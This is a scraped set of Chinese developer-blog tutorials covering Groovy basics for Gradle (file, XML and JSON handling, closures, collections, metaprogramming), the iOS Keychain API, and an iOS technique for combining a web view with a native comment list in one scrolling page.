此外,我们也可以通过 withObjectOutputStream/withObjectInputStream 来保存与读取 Object 对象。示例代码如下所示:


保存对应的 Object 对象到文件中


def saveObject(Object object, String path) {
try {
//首先创建目标文件
def desFile = new File(path)
if (!desFile.exists()) {
desFile.createNewFile()
}
desFile.withObjectOutputStream { out ->
out.writeObject(object)
}
return true
} catch (Exception e) {
}
return false
}
复制代码

从文件中读取 Object 对象


def readObject(String path) {
def obj = null
try {
def file = new File(path)
if (file == null || !file.exists()) return null
//从文件中读取对象
file.withObjectInputStream { input ->
obj = input.readObject()
}
} catch (Exception e) {

}
return obj
}
复制代码

2、XML 文件操作


1)、获取 XML 数据


首先,我们定义一个包含 XML 数据的字符串,如下所示:


final String xml = '''
<response version-api="2.0">
<value>
<books id="1" classification="android">
<book available="20" id="1">
<title>疯狂Android讲义</title>
<author id="1">李刚</author>
</book>
<book available="14" id="2">
<title>第一行代码</title>
<author id="2">郭林</author>
</book>
<book available="13" id="3">
<title>Android开发艺术探索</title>
<author id="3">任玉刚</author>
</book>
<book available="5" id="4">
<title>Android源码设计模式</title>
<author id="4">何红辉</author>
</book>
</books>
<books id="2" classification="web">
<book available="10" id="1">
<title>Vue从入门到精通</title>
<author id="4">李刚</author>
</book>
</books>
</value>
</response>
'''
复制代码

然后,我们可以 使用 XmlSlurper 来解析此 xml 数据,代码如下所示:


def xmlSluper = new XmlSlurper()
def response = xmlSluper.parseText(xml)

// 通过指定标签获取特定的属性值
println response.value.books[0].book[0].title.text()
println response.value.books[0].book[0].author.text()
println response.value.books[1].book[0].@available

def list = []
response.value.books.each { books ->
//下面开始对书结点进行遍历
books.book.each { book ->
def author = book.author.text()
if (author.equals('李刚')) {
list.add(book.title.text())
}
}
}
println list.toListString()
复制代码

2)、获取 XML 数据的两种遍历方式


获取 XML 数据有两种遍历方式:深度遍历 XML 数据 与 广度遍历 XML 数据,下面我们看看它们各自的用法,如下所示:


深度遍历 XML 数据


def titles = response.depthFirst().findAll { book ->
return book.author.text() == '李刚' ? true : false
}
println titles.toListString()
复制代码

广度遍历 XML 数据


def name = response.value.books.children().findAll { node ->
node.name() == 'book' && node.@id == '2'
}.collect { node ->
return node.title.text()
}
复制代码

在实际使用中,我们可以 利用 XmlSlurper 求获取 AndroidManifest.xml 的版本号(versionName),代码如下所示:


def androidManifest = new XmlSlurper().parse("AndroidManifest.xml") println androidManifest['@android:versionName']
或者
println androidManifest.@'android:versionName'
复制代码

3)、生成 XML 数据


除了使用 XmlSlurper 解析 XML 数据之外,我们也可以 使用 xmlBuilder 来创建 XML 文件,如下代码所示:


/**
* 生成 xml 格式数据
* <langs type='current' count='3' mainstream='true'>
<language flavor='static' version='1.5'>Java</language>
<language flavor='dynamic' version='1.6.0'>Groovy</language>
<language flavor='dynamic' version='1.9'>JavaScript</language>
</langs>
*/
def sw = new StringWriter()
// 用来生成 xml 数据的核心类
def xmlBuilder = new MarkupBuilder(sw)
// 根结点 langs 创建成功
xmlBuilder.langs(type: 'current', count: '3',
mainstream: 'true') {
//第一个 language 结点
language(flavor: 'static', version: '1.5') {
age('16')
}
language(flavor: 'dynamic', version: '1.6') {
age('10')
}
language(flavor: 'dynamic', version: '1.9', 'JavaScript')
}

// println sw

def langs = new Langs()
xmlBuilder.langs(type: langs.type, count: langs.count,
mainstream: langs.mainstream) {
//遍历所有的子结点
langs.languages.each { lang ->
language(flavor: lang.flavor,
version: lang.version, lang.value)
}
}

println sw

// 对应 xml 中的 langs 结点
class Langs {
String type = 'current'
int count = 3
boolean mainstream = true
def languages = [
new Language(flavor: 'static',
version: '1.5', value: 'Java'),
new Language(flavor: 'dynamic',
version: '1.3', value: 'Groovy'),
new Language(flavor: 'dynamic',
version: '1.6', value: 'JavaScript')
]
}
//对应xml中的languang结点
class Language {
String flavor
String version
String value
}
复制代码

4)、Groovy 中的 json


我们可以 使用 Groovy 中提供的 JsonSlurper 类去替代 Gson 解析网络响应,这样我们在写插件的时候可以避免引入 Gson 库,其示例代码如下所示:


def reponse =
getNetworkData(
'http://yuexibo.top/yxbApp/course_detail.json')

println reponse.data.head.name

def getNetworkData(String url) {
//发送http请求
def connection = new URL(url).openConnection()
connection.setRequestMethod('GET')
connection.connect()
def response = connection.content.text
//将 json 转化为实体对象
def jsonSluper = new JsonSlurper()
return jsonSluper.parseText(response)
}
复制代码

五、总结


在这篇文章中,我们从以下 四个方面 学习了 Groovy 中的必备核心语法:



  • 1)、groovy 中的变量、字符串、循环等基本语法。

  • 2)、groovy 中的数据结构:数组、列表、映射、范围。

  • 3)、groovy 中的方法、类等面向对象、强大的运行时机制。

  • 4)、groovy 中对普通文件、XML、json 文件的处理。


在后面我们自定义 Gradle 插件的时候需要使用到这些技巧,因此,掌握好 Groovy 的重要性不言而喻,只有扎实基础才能让我们走的更远。


作者:jsonchao
链接:https://juejin.cn/post/6844904128594853902
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(2)

三、Groovy 基础语法Groovy 的基础语法主要可以分为以下 四个部分:1)、Groovy 核心基础语法。2)、Groovy 闭包。3)、Groovy 数据结构。4)、Groovy 面向对象1、Groovy 核心基础语法Groovy 中的变量变...
继续阅读 »

三、Groovy 基础语法

Groovy 的基础语法主要可以分为以下 四个部分:

  • 1)、Groovy 核心基础语法。
  • 2)、Groovy 闭包。
  • 3)、Groovy 数据结构。
  • 4)、Groovy 面向对象

1、Groovy 核心基础语法

Groovy 中的变量

变量类型

Groovy 中的类型同 Java 一样,也是分为如下 两种:

  • 1)、基本类型。
  • 2)、对象类型。

但是,其实 Groovy 中并没有基本类型,Groovy 作为动态语言, 在它的世界中,所有事物都是对象,就如 Python、Kotlin 一样:所有的基本类型都是属于对象类型。为了验证这个 Case,我们可以新建一个 groovy 文件,创建一个 int 类型的变量并输出它,会得到输出结果为 'class java.lang.Integer',因此可以验证我们的想法是正确的。实际上,Groovy 的编译器会将所有的基本类型都包装成对象类型

变量定义

groovy 变量的定义与 Java 中的方式有比较大的差异,对于 groovy 来说,它有 两种定义方式,如下所示:

  • 1)、强类型定义方式:groovy 像 Java 一样,可以进行强类型的定义,比如上面直接定义的 int 类型的 x,这种方式就称为强类型定义方式,即在声明变量的时候定义它的类型。
  • 2)、弱类型定义方式:不需要像强类型定义方式一样需要提前指定类型,而是通过 def 关键字来定义我们任何的变量,因为编译器会根据值的类型来为它进行自动的赋值。

那么,这两种方式应该分别在什么样的场景中使用呢?

如果这个变量就是用于当前类或文件,而不会用于其它类或应用模块,那么,建议使用 def 类型,因为在这种场景下弱类型就足够了

但是,如果你这个类或变量要用于其它模块的,建议不要使用 def,还是应该使用 Java 中的那种强类型定义方式,因为使用强类型的定义方式,它不能动态转换为其它类型,它能够保证外界传递进来的值一定是正确的。如果你这个变量要被外界使用,而你却使用了 def 类型来定义它,那外界需要传递给你什么才是正确的呢?这样会使调用方很疑惑。

如果此时我们在后面的代码中改变上图中 x1 的值为 String 类型,那么 x1 又会被编译器推断为 String 类型,于是我们可以猜测到,其实使用 def 关键字定义出来的变量就是 Obejct 类型。

Groovy 中的字符串

Groovy 中的字符串与 Java 中的字符串有比较大的不同,所以这里我们需要着重了解一下。

Groovy 中的字符串除了继承了 Java 中传统 String 的使用方式之前,还 新增 了一个 GString 类型,它的使用方式至少有七、八种,但是常用的有三种定义方式。此外,在 GString 中新增了一系列的操作符,这能够让我们对 String 类型的变量有 更便捷的操作。最后,在 GString 中还 新增 了一系列好用的 API,我们也需要着重学习一下。

Groovy 中常用的三种字符串定义方式

在 Groovy 中有 三种常用 的字符串定义方式,如下所示:

  • 1)、单引号 '' 定义的字符串
  • 2)、双引号 "" 定义的字符串
  • 3)、三引号 '""' 定义的字符串

首先,需要说明的是,'不管是单引号、双引号还是三引号,它们的类型都是 java.lang.String'。

那么,单引号与三引号的区别是什么呢?

既生瑜何生亮,其实不然。当我们编写的单引号字符串中有转义字符的时候,需要添加 '',并且,当字符串需要具备多行格式的时候,强行将单引号字符串分成多行格式会变成由 '+' 号组成的字符串拼接格式

那么,双引号定义的变量又与单引号、三引号有什么区别呢?

双引号不同与单、三引号,它定义的是一个可扩展的变量。这里我们先看看两种双引号的使用方式,如下图所示:

在上图中,第一个定义的 name 字符串就是常规的 String 类型的字符串,而下面定义的 sayHello 字符串就是可扩展的字符串,因为它里面使用了 '${name}' 的方式引用了 name 变量的内容。而且,从其最后的类型输出可以看到,可扩展的类型就是 'org.codehaus.groovy.runtime.GStringImpl' 类型的。

需要注意的是,可扩展的字符串是可以扩展成为任意的表达式,例如数学运算,如上图中的 sum 变量。

有了 Groovy 的这种可扩展的字符串,我们就可以 避免 Java 中字符串的拼接操作,提升 Java 程序运行时的性能

那么,既然有 String 和 GString 两种类型的字符串,它们在相互赋值的场景下需要不需要先强转再赋值呢?

不需要,编译器可以帮我们自动在 String 和 GString 之间相互转换,我们在编写的时候并不需要太过关注它们的区别

2、Groovy 闭包(Closure)

闭包的本质其实就是一个代码块,闭包的核心内容可以归结为如下三点:

  • 1)、闭包概念
    • 定义
    • 闭包的调用
  • 2)、闭包参数
    • 普通参数
    • 隐式参数
  • 3)、闭包返回值
    • 总是有返回值

闭包的调用

clouser.call()
clouser()
def xxx = { paramters -> code }
def xxx = { 纯 code }
复制

从 C/C++ 语言的角度看,闭包和函数指针很像,闭包可以通过 .call 方法来调用,也可以直接调用其构造函数,代码如下所示:

闭包对象.call(参数)
闭包对象(参数)
复制代码

如果闭包没定义参数的话,则隐含有一个参数,这个参数名字叫 it,和 this 的作用类似。it 代表闭包的参数。表示闭包中没有参数的示例代码:

def noParamClosure = { -> true }
复制代

注意点:省略圆括号

函数最后一个参数都是一个闭包,类似于回调函数的用法,代码如下所示:

task JsonChao {
doLast ({
println "love is peace~"
}
})

// 似乎好像doLast会立即执行一样
task JsonChao {
doLast {
println "love is peace~"
}
}
复制代码

闭包的用法

闭包的常见用法有如下 四种:

  • 1)、与基本类型的结合使用。
  • 2)、与 String 类的结合使用。
  • 3)、与数据结构的结合使用。
  • 4)、与文件等结合使用。

闭包进阶

  • 1)、闭包的关键变量
    • this
    • owner
    • delegate
  • 2)、闭包委托策略

闭包的关键变量

this 与 owner、delegate

其差异代码如下代码所示:

def scrpitClouser = {
// 代表闭包定义处的类
printlin "scriptClouser this:" + this
// 代表闭包定义处的类或者对象
printlin "scriptClouser this:" + owner
// 代表任意对象,默认与 ownner 一致
printlin "scriptClouser this:" + delegate
}

// 输出都是 scrpitClouse 对象
scrpitClouser.call()

def nestClouser = {
def innnerClouser = {
// 代表闭包定义处的类
printlin "scriptClouser this:" + this
// 代表闭包定义处的类或者对象
printlin "scriptClouser this:" + owner
// 代表任意对象,默认与 ownner 一直
printlin "scriptClouser this:" + delegate
}
innnerClouser.call()
}

// this 输出的是 nestClouser 对象,而 owner 与 delegate 输出的都是 innnerClouser 对象
nestClouser.call()
复制

可以看到,如果我们直接在类、方法、变量中定义一个闭包,那么这三种关键变量的值都是一样的,但是,如果我们在闭包中又嵌套了一个闭包,那么,this 与 owner、delegate 的值就不再一样了。换言之,this 还会指向我们闭包定义处的类或者实例本身,而 owner、delegate 则会指向离它最近的那个闭包对象

delegate 与 this、owner 的差异

其差异代码如下代码所示:

def nestClouser = {
def innnerClouser = {
// 代表闭包定义处的类
printlin "scriptClouser this:" + this
// 代表闭包定义处的类或者对象
printlin "scriptClouser this:" + owner
// 代表任意对象,默认与 ownner 一致
printlin "scriptClouser this:" + delegate
}

// 修改默认的 delegate
innnerClouser.delegate = p
innnerClouser.call()
}

nestClouser.call()
复制代

可以看到,delegate 的值是可以修改的,并且仅仅当我们修改 delegate 的值时,delegate 的值才会与 ownner 的值不一样

闭包的委托策略

其示例代码如下所示:

def stu = new Student()
def tea = new Teacher()
stu.pretty.delegate = tea
// 要想使 pretty 闭包的 delegate 修改生效,必须选择其委托策略为 Closure.DELEGATE_ONLY,默认是 Closure.OWNER_FIRST。
stu.pretty.resolveStrategy = Closure.DELEGATE_ONLY
println stu.toString()
复制

需要注意的是,要想使上述 pretty 闭包的 delegate 修改生效,必须选择其委托策略为 Closure.DELEGATE_ONLY,默认是 Closure.OWNER_FIRST 的。

3、Groovy 数据结构

Groovy 常用的数据结构有如下 四种:

  • 1)、数组
  • 2)、List
  • 3)、Map
  • 4)、Range

数组的使用和 Java 语言类似,最大的区别可能就是定义方式的扩展,如下代码所示:

// 数组定义
def array = [1, 2, 3, 4, 5] as int[]
int[] array2 = [1, 2, 3, 4, 5]
复制代

下面,我们看看其它三种数据结构。

1、List

即链表,其底层对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类,List 变量由[]定义,其元素可以是任何对象

链表中的元素可以通过索引存取,而且 不用担心索引越界。如果索引超过当前链表长度,List 会自动往该索引添加元素。下面,我们看看 List 最常使用的几个操作。

1)、排序

def test = [100, "hello", true]
// 左移位表示向List中添加新元素
test << 200
// list 定义
def list = [1, 2, 3, 4, 5]
// 排序
list.sort()
// 使用自己的排序规则
sortList.sort { a, b ->
a == b ?0 :
Math.abs(a) < Math.abs(b) ? 1 : -1
}
复制

2)、添加

// 添加
list.add(6)
list.leftShift(7)
list << 8
复制代码

3)、删除

// 删除
list.remove(7)
list.removeAt(7)
list.removeElement(6)
list.removeAll { return it % 2 == 0 }
复制代码

4)、查找

// 查找
int result = findList.find { return it % 2 == 0 }
def result2 = findList.findAll { return it % 2 != 0 }
def result3 = findList.any { return it % 2 != 0 }
def result4 = findList.every { return it % 2 == 0 }

5)、获取最小值、最大值

// 最小值、最大值
list.min()
list.max(return Math.abs(it))
复制代码

6)、统计满足条件的数量

// 统计满足条件的数量
def num = findList.count { return it >= 2 }
复制代

Map

表示键-值表,其 底层对应 Java 中的 LinkedHashMap

Map 变量由[:]定义,冒号左边是 key,右边是 Value。key 必须是字符串,value 可以是任何对象。另外,key 可以用 '' 或 "" 包起来,也可以不用引号包起来。下面,我们看看 Map 最常使用的几个操作。

1)、存取

其示例代码如下所示:

aMap.keyName
aMap['keyName']
aMap.anotherkey = "i am map"
aMap.anotherkey = [a: 1, b: 2]
复制代码

2)、each 方法

如果我们传递的闭包是一个参数,那么它就把 entry 作为参数。如果我们传递的闭包是 2 个参数,那么它就把 key 和 value 作为参数。

def result = ""
[a:1, b:2].each { key, value ->
result += "$key$value"
}

assert result == "a1b2"

def socre = ""
[a:1, b:2].each { entry ->
result += entry
}

assert result == "a=1b=2"

3)、eachWithIndex 方法

如果闭包采用两个参数,则将传递 Map.Entry 和项目的索引(从零开始的计数器);否则,如果闭包采用三个参数,则将传递键,值和索引。

def result = ""
[a:1, b:3].eachWithIndex { key, value, index -> result += "$index($key$value)" }
assert result == "0(a1)1(b3)"

def result = ""
[a:1, b:3].eachWithIndex { entry, index -> result += "$index($entry)" }
assert result == "0(a=1)1(b=3)"

4)、groupBy 方法

按照闭包的条件进行分组,代码如下所示:

def group = students.groupBy { def student ->
return student.value.score >= 60 ? '及格' : '不及格'
}
复制代

5)、findAll 方法

它有两个参数,findAll 会将 Key 和 Value 分别传进 去。并且,如果 Closure 返回 true,表示该元素是自己想要的,如果返回 false 则表示该元素不是自己要找的。

Range

表示范围,它其实是 List 的一种拓展。其由 begin 值 + 两个点 + end 值表示。如果不想包含最后一个元素,则 begin 值 + 两个点 + < + end 表示。我们可以通过 aRange.from 与 aRange.to 来获对应的边界元素

如果需要了解更多的数据结构操作方法,我们可以直接查 Groovy API 详细文档 即可。

4、Groovy 面向对象

如果不声明 public/private 等访问权限的话,Groovy 中类及其变量默认都是 public 的

1)、元编程(Groovy 运行时)

Groovy 运行时的逻辑处理流程图如下所示:

为了更好的讲解元编程的用法,我们先创建一个 Person 类并调用它的 cry 方法,代码如下所示:

// 第一个 groovy 文件中
def person = new Person(name: 'Qndroid', age: 26)
println person.cry()

// 第二个 groovy 文件中
class Person implements Serializable {

String name

Integer age

def increaseAge(Integer years) {
this.age += years
}

/**
* 一个方法找不到时,调用它代替
* @param name
* @param args
* @return
*/
def invokeMethod(String name, Object args) {

return "the method is ${name}, the params is ${args}"
}


def methodMissing(String name, Object args) {

return "the method ${name} is missing"
}
}
复制

为了实现元编程,我们需要使用 metaClass,具体的使用示例如下所示:

ExpandoMetaClass.enableGlobally()
//为类动态的添加一个属性
Person.metaClass.sex = 'male'
def person = new Person(name: 'Qndroid', age: 26)
println person.sex
person.sex = 'female'
println "the new sex is:" + person.sex
//为类动态的添加方法
Person.metaClass.sexUpperCase = { -> sex.toUpperCase() }
def person2 = new Person(name: 'Qndroid', age: 26)
println person2.sexUpperCase()
//为类动态的添加静态方法
Person.metaClass.static.createPerson = {
String name, int age -> new Person(name: name, age: age)
}
def person3 = Person.createPerson('renzhiqiang', 26)
println person3.name + " and " + person3.age

需要注意的是通过类的 metaClass 来添加元素的这种方式每次使用时都需要重新添加,幸运的是,我们可以在注入前调用全局生效的处理,代码如下所示:

ExpandoMetaClass.enableGlobally()
// 在应用程序初始化的时候我们可以为第三方类添加方法
Person.metaClass.static.createPerson = { String name,
int age ->
new Person(name: name, age: age)
}
复制代码

2)、脚本中的变量和作用域

对于每一个 Groovy 脚本来说,它都会生成一个 static void main 函数,main 函数中会调用一个 run 函数,脚本中的所有代码则包含在 run 函数之中。我们可以通过如下的 groovyc 命令用于将编译得到的 class 文件拷贝到 classes 文件夹下:

// groovyc 是 groovy 的编译命令,-d classes 用于将编译得到的 class 文件拷贝到 classes 文件夹 下
groovyc -d classes test.groovy
复制代码

当我们在 Groovy 脚本中定义一个变量时,由于它实际上是在 run 函数中创建的,所以脚本中的其它方法或其他脚本是无法访问它的。这个时候,我们需要使用 @Field 将当前变量标记为成员变量,其示例代码如下所示:

import groovy.transform.Field; 

@Field author = JsonCh


作者:jsonchao
链接:https://juejin.cn/post/6844904128594853902
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

【iOS】Keychain 钥匙串

钥匙串,实际上是一个加密后的数据库,如下图所示。即使吧App删除,钥匙串里面的数据也不会丢失。数据都是以 Item 的形式来存储的,每个 Item 由一个加密后的 Data 数据,还有一系列用来描述该 Item 属性的 Attributes 组成。由于是数据库...
继续阅读 »

钥匙串,实际上是一个加密后的数据库,如下图所示。
即使吧App删除,钥匙串里面的数据也不会丢失。


数据都是以 Item 的形式来存储的,每个 Item 由一个加密后的 Data 数据,还有一系列用来描述该 Item 属性的 Attributes 组成。
由于是数据库,关键方法只有四种,增删改查,对应的是

SecItemAdd
SecItemDelete
SecItemUpdate
SecItemCopyMatching
下面简单讲述一下使用方法

SecItemAdd

CFTypeRef result;
NSDictionary *query = @{
// 一个典型的新增方法的参数,包含三个部分
// 1.kSecClass key,它用来指定新增对象的类型
(NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
// 2.若干项属性 key,例如 kSecAttrAccount,kSecAttrLabel 等,用来描述新增对象的属性
(NSString *)kSecAttrAccount: @"uniqueID",
// 3.kSecValueData key,用来设置新增对象保存的数据
(NSString *)kSecValueData: [@"token" dataUsingEncoding:NSUTF8StringEncoding],
// 可选
// 如果需要获取新增的 Item 对象的属性,需要如下属性,
(NSString *)kSecReturnData: (NSNumber *)kCFBooleanTrue,
(NSString *)kSecReturnAttributes: (NSNumber *)kCFBooleanTrue,
};
OSStatus status = SecItemAdd((CFDictionaryRef)query, &result);
if (result == errSecSuccess) {
// 新增成功
NSDictionary *itemInfo = (__bridge NSDictionary *)result;
NSLog(@"info: %@", itemInfo);
} else {
// 其他错误
}

result类型判断方式


SecItemDelete

NSDictionary *query = @{
// 一个典型的删除方法的参数,包含两个部分
// 1、kSecClass key,它用来指定删除对象的类型,必填。
(NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
// 2、若干项属性 key,可选。
// 例如 kSecAttrAccount,kSecAttrLabel 等,用来设置删除对象的范围
// 默认情况下,符合条件的全部 Item 都会被删除
(NSString *)kSecAttrAccount: @"uniqueID",
};
OSStatus status = SecItemDelete((CFDictionaryRef)query);
if (result == errSecSuccess) {
// 删除成功
} else {
// 其他错误
}

SecItemUpdate

// 1、找出需要更新属性的 Item
// 参数格式与 SecItemCopyMatching 方法中的参数格式相同
NSDictionary *query = @{
(NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
(NSString *)kSecAttrAccount: @"uniqueID",
};

// 2、需要更新的属性
// 若干项属性 key
NSDictionary *update = @{
(NSString *)kSecAttrAccount: @"another uniqueID",
(NSString *)kSecValueData: @"another value",
};

OSStatus status = SecItemUpdate((CFDictionaryRef)query, (CFDictionaryRef)update);

if (result == errSecSuccess) {
// 更新成功
} else {
// 其他错误
}

SecItemDelete

NSDictionary *query = @{
// 一个典型的删除方法的参数,包含两个部分
// 1、kSecClass key,它用来指定删除对象的类型,必填。
(NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
// 2、若干项属性 key,可选。
// 例如 kSecAttrAccount,kSecAttrLabel 等,用来设置删除对象的范围
// 默认情况下,符合条件的全部 Item 都会被删除
(NSString *)kSecAttrAccount: @"uniqueID",
};
OSStatus status = SecItemDelete((CFDictionaryRef)query);
if (result == errSecSuccess) {
// 删除成功
} else {
// 其他错误
}

SecItemCopyMatching

CFTypeRef result;
NSDictionary *query = @{
// 一个典型的搜索方法的参数,包含三个部分
// 1、kSecClass key(必填),它用来指定搜索对象的类型
(NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
// 2、若干项属性 key(可选),例如 kSecAttrAccount,kSecAttrLabel 等,用来描述搜索对象的属性
(NSString *)kSecAttrAccount: @"uniqueID",
// 3、搜索属性(可选)
// 例如 kSecMatchLimit(搜索一个还是多个,影响返回结果类型)
// kSecMatchCaseInsensitive 是否大小写敏感等
(NSString *)kSecMatchLimit: (NSString *)kSecMatchLimitAll,
(NSString *) kSecMatchCaseInsensitive: (NSNumber *) kCFBooleanTrue,
// (可选)如果需要获取新增的 Item 对象的属性,需要如下属性,
(NSString *)kSecReturnData: (NSNumber *)kCFBooleanTrue,
(NSString *)kSecReturnAttributes: (NSNumber *)kCFBooleanTrue,
};
OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &result);
if (result == errSecSuccess) {
// 新增成功
NSDictionary *itemInfo = (__bridge NSDictionary *)result;
NSLog(@"info: %@", itemInfo);
} else {
// 其他错误
}

result类型判断方式


链接:https://www.jianshu.com/p/8f8db1ff024d


收起阅读 »

iOS 网页和原生列表混合布局开发(文章+评论)

我们总会遇见特别不适合使用原生开发的页面,比如一个文章详情页,上面是文章下面是评论,就比如现在用的简书的手机版这样,那么这种需求应该怎么做呢?最好的方法当然是整个页面都是用H5开发,哈哈哈;当然下面评论有时候会有很多交互导致得用原生控件开发,那这里就面临着严峻...
继续阅读 »

我们总会遇见特别不适合使用原生开发的页面,比如一个文章详情页,上面是文章下面是评论,就比如现在用的简书的手机版这样,那么这种需求应该怎么做呢?
最好的方法当然是整个页面都是用H5开发,哈哈哈;当然下面评论有时候会有很多交互导致得用原生控件开发,那这里就面临着严峻的问题了,上面是网页可以滑动,下面是评论最好是用列表做,具体怎么组合起来就值得我们说道说道了,当然方法有很多种,我这里讲解一种我觉得各方面都不错的。

ps:问题总结起来还是两个滑动视图上下滑动问题所以用我之前讲解的多个滑动视图冲突解决https://www.jianshu.com/p/cfe517ce437b 也可以解决不过这样使用H5那面配合的地方比较多。这个不多说,下面介绍我们今天要说的。

这个方案的整体思路:把web和table同时加在一个底层ScrollView上面,滑动底层ScrollView同时不断控制web和table的偏移量位置,使页面看起来是两个滑动视图连在一起的。
整体结构如图


一、视图介绍

黄色的是底层ScrollView,青色的一个加在底层ScrollView上的view(这里我们叫它contentView),然后正加载简书网页的是web,红色部分是table。web和table再加contentView上,这样我们控制整体位置的时候使用contentView就行;

二、视图之间的高度关系:

web和table的最大高度都是底层ScrollView的高度,这样做可以正好让其中一个充满整个底层ScrollView。
contentView的高度是web和table高度的和(毕竟就是为了放他们两)。
底层ScrollView的可滑动高度这里设定成web和table可滑动高度的总和,方便滑动处理。
ps:具体代码在后面。

三、滑动处理思路

滑动都靠底层ScrollView,禁用web和table的滑动,上面说了底层ScrollView的可滑动高度是web和table的总和所以进度条是正常的。
然后在滑动的同时不断调整contentView的位置,web和table的偏移量,使页面效果看起来符合预期。

四、滑动处理具体操作,整个滑动可以分成五阶段。ps:offsety 底层ScrollView的偏移量
1.offsety<=0,不用过多操作正常滑动
2.web内部可以滑动。控制contentView悬浮,使web在屏幕可视区域。同时修改web的偏移量。
3.web滑动到头。保持contentView的位置和web的偏移量,使table滑动到屏幕可视区域
4.table内部可以滑动。控制contentView悬浮,使table在屏幕可视区域。同时修改table的偏移量。
5.table滑动到头。保持contentView的位置和table的偏移量,使页面滑动到底部
五、具体代码
1.因为web和table都是随内容变高的,这里选择通过监听两者高度变化,同时刷新各个控件的高度,对应第二步骤

//添加监听
[self.webView addObserver:self forKeyPath:@"scrollView.contentSize" options:NSKeyValueObservingOptionNew context:nil];
[self.collectionView addObserver:self forKeyPath:@"contentSize" options:NSKeyValueObservingOptionNew context:nil];
//刷新各个控件高度
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
if (object == _webView) {
if ([keyPath isEqualToString:@"scrollView.contentSize"]) {
[self updateContainerScrollViewHeight];
}
}else if(object == _collectionView) {
if ([keyPath isEqualToString:@"contentSize"]) {
[self updateContainerScrollViewHeight];
}
}
}

- (void)updateContainerScrollViewHeight{
CGFloat webViewContentHeight = self.webView.scrollView.contentSize.height;
CGFloat collectionContentHeight = self.collectionView.contentSize.height;

if (webViewContentHeight == _lastWebViewContentHeight && collectionContentHeight == _lastCollectionContentHeight) {
return;
}

_lastWebViewContentHeight = webViewContentHeight;
_lastCollectionContentHeight = collectionContentHeight;

self.containerScrollView.contentSize = CGSizeMake(self.view.width, webViewContentHeight + collectionContentHeight);

CGFloat webViewHeight = (webViewContentHeight < _contentHeight) ?webViewContentHeight :_contentHeight;
CGFloat collectionHeight = collectionContentHeight < _contentHeight ?collectionContentHeight :_contentHeight;
self.webView.height = webViewHeight <= 0.1 ?0.1 :webViewHeight;
self.contentView.height = webViewHeight + collectionHeight;
self.collectionView.height = collectionHeight;
self.collectionView.top = self.webView.bottom;

[self scrollViewDidScroll:self.containerScrollView];
}

2.具体滑动处理代码:

- (void)scrollViewDidScroll:(UIScrollView *)scrollView{
if (_containerScrollView != scrollView) {
return;
}

CGFloat offsetY = scrollView.contentOffset.y;

CGFloat webViewHeight = self.webView.height;
CGFloat collectionHeight = self.collectionView.height;

CGFloat webViewContentHeight = self.webView.scrollView.contentSize.height;
CGFloat collectionContentHeight = self.collectionView.contentSize.height;
if (offsetY <= 0) {
self.contentView.top = 0;
self.webView.scrollView.contentOffset = CGPointZero;
self.collectionView.contentOffset = CGPointZero;
}else if(offsetY < webViewContentHeight - webViewHeight){
self.contentView.top = offsetY;
self.webView.scrollView.contentOffset = CGPointMake(0, offsetY);
self.collectionView.contentOffset = CGPointZero;
}else if(offsetY < webViewContentHeight){
self.contentView.top = webViewContentHeight - webViewHeight;
self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
self.collectionView.contentOffset = CGPointZero;
}else if(offsetY < webViewContentHeight + collectionContentHeight - collectionHeight){
self.contentView.top = offsetY - webViewHeight;
self.collectionView.contentOffset = CGPointMake(0, offsetY - webViewContentHeight);
self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
}else if(offsetY <= webViewContentHeight + collectionContentHeight ){
self.contentView.top = self.containerScrollView.contentSize.height - self.contentView.height;
self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
self.collectionView.contentOffset = CGPointMake(0, collectionContentHeight - collectionHeight);
}else {
//do nothing
NSLog(@"do nothing");
}
}


链接:https://www.jianshu.com/p/ca7f826fd39b

收起阅读 »

深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(1)

前言 成为一名优秀的Android开发,需要一份完备的 知识体系,在这里,让我们一起成长为自己所想的那样~。 Groovy 作为 Gradle 这一强大构建工具的核心语言,其重要性不言而喻,但是 Groovy 本身是十分复杂的,要想全面地掌握它,我想几十篇万字...
继续阅读 »

前言


成为一名优秀的Android开发,需要一份完备的 知识体系,在这里,让我们一起成长为自己所想的那样~。


Groovy 作为 Gradle 这一强大构建工具的核心语言,其重要性不言而喻,但是 Groovy 本身是十分复杂的,要想全面地掌握它,我想几十篇万字长文也无法将其彻底描述。所幸的是,在 Gradle 领域中涉及的 Groovy 知识都是非常基础的,因此,本篇文章的目的是为了在后续深入探索 Gradle 时做好一定的基础储备。


一、DSL 初识


DSL(domain specific language),即领域特定语言,例如:Matliba、UML、HTML、XML 等等 DSL 语言。可以这样理解,Groovy 就是 DSL 的一个分支。


特点



  • 1)、解决特定领域的专有问题。

  • 2)、它与系统编程语言走的是两个极端,系统编程语言是希望解决所有的问题,比如 Java 语言希望能做 Android 开发,又希望能做服务器开发,它具有横向扩展的特性。而 DSL 具有纵向深入解决特定领域专有问题的特性。


总的来说,DSL 的 核心思想 就是:“求专不求全,解决特定领域的问题”。


二、Groovy 初识


1、Groovy 的特点


Groovy 的特点具有如下 三点:



  • 1)、Groovy 是一种基于 JVM 的敏捷开发语言。

  • 2)、Groovy 结合了 Python、Ruby 和 Smalltalk 众多脚本语言的许多强大的特性。

  • 3)、Groovy 可以与 Java 完美结合,而且可以使用 Java 所有的库。


那么,在已经有了其它脚本语言的前提下,为什么还要制造出 Grvooy 语言呢?


因为 Groovy 语言相较其它编程语言而言,其 入门的学习成本是非常低的,因为它的语法就是对 Java 的扩展,所以,我们可以用学习 Java 的方式去学习 Groovy。


2、Groovy 语言本身的特性


